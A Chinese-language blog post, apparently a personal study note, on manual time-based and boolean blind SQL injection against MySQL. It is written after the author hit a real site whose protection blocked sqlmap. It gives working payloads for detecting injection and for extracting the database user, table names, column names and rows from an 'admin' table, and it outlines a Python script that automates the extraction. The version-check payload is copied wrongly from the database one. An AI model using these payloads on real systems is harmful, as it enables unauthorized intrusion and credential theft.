今天遇到一个站点是基于时间的盲注,有防护软件,sqlmap还没连上就被拦截了(还在拦截中),只好手工搞了,但是又不太会盲注,因此学习总结一下。(后面附脚本)
前置基础知识
MYSQL的if函数使用
格式:IF(Condition,A,B)
含义:如果Condition成立,则A,否则B
MYSQL的substr函数的使用
格式:SUBSTR(string,start,len)
含义:从string的start位开始截取len个字符
MYSQL的ascii函数的使用
格式:ASCII(char)
含义:将char转化成ascii码
盲注思路
基于时间盲柱
1 | if(ascii(substr(查询语句,start,1))=97,sleep(3),1) |
基于布尔盲注
1 | or ascii(substr(查询语句,start,1))=97 |
substr函数中可以接select语句
两种类型盲注的区别
基于布尔盲注是根据页面差异判断是否存在注入,以及数据注入的
基于时间盲注是通过盲注不能得到差异页面(比如:无论输入什么都显示同一个页面.), 这时候可以尝试时间盲注
补充:
为什么没有差异,有这么几种情况:
第一种情况:无论输入什么都只显示无信息页面,例如登陆页面。这种情况下可能只有登录失败页面,错误页面被屏蔽了,并且在没有密码的情况下,登录成功的页面一般情况下也不知道。在这种情况下,有可能基于时间的SQL注入会有效。
第二种情况:无论输入什么都只显示正常信息页面。例如,采集登录用户信息的模块页面。采集用户的 IP、浏览器类型、refer字段、session字段,无论用户输入什么,都显示正常页面。
第三种情况:差异页面不是由输入URL中的SQL语句来决定的。这种情况下,也只能使用基于时间的盲注。
注入-判断注入
今天看到awvs里面判断盲注的payload感觉很使用,也很经典,这里就搬过来。
payload: if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/
这里看到,查看这个页面一共用了4秒,所以存在注入
tips: 第一点:awvs是用了几次这个语句,改变sleep的时间,来说明存在注入的;第二点:有的页面显示有非法请求,但是这种很有可能已经把sql语句带入数据库执行了(今晚就是这个情况)
注入-查看信息
查看用户名
payload:if(ascii(substr(user(),第几位,1))=114,sleep(3),1)
查看数据库
payload:if(ascii(substr(database(),1,1))=114,sleep(5),1)
查看mysql的版本
payload:if(ascii(substr(database(),1,1))=114,sleep(5),1)
注入-爆表、列、查信息
爆表
1 | union select if(ascii(substr(table_name,1,1))>97,sleep(5),1),2,3 from information_schema.tables where table_schema = database() limit 0,1 |
那么问题来了,盲注能用order by吗?怎么去判断有多少个字段
答案:待测,没有盲注环境,目标站点已经限制我的访问,不过我倒是有个妙计。
union select if(ascii(substr(user(),1,1))=114,sleep(5),1),2,3
因为我们不需要知道字段的多少就可以猜解出user了,可以让if恒为真,然后去添加字段个数,如果请求有延时,就说明字段个数正确,否则说明字段个数错误。下面的图是我再mysql命令行中测试的。
足以说明原理
爆列名
1 | union select if(ascii(substr(column_name,1,1))=105,sleep(5),1),2,3 from information_schema.columns where table_name = 'admin' limit 0,1 |
爆数据
1 | union select if(ascii(substr(user,1,1))=97,sleep(5),1),2,3 from admin limit 0,1 |
python写盲注脚本
设计思路
<1> 时间判断 start = time.time() end = time.time() all = end-start
<2> 将所有代表字符的ascii码整理进一个list,对list进行迭代
<3> 返回数据的时候用char(ascci码)转化成明文数据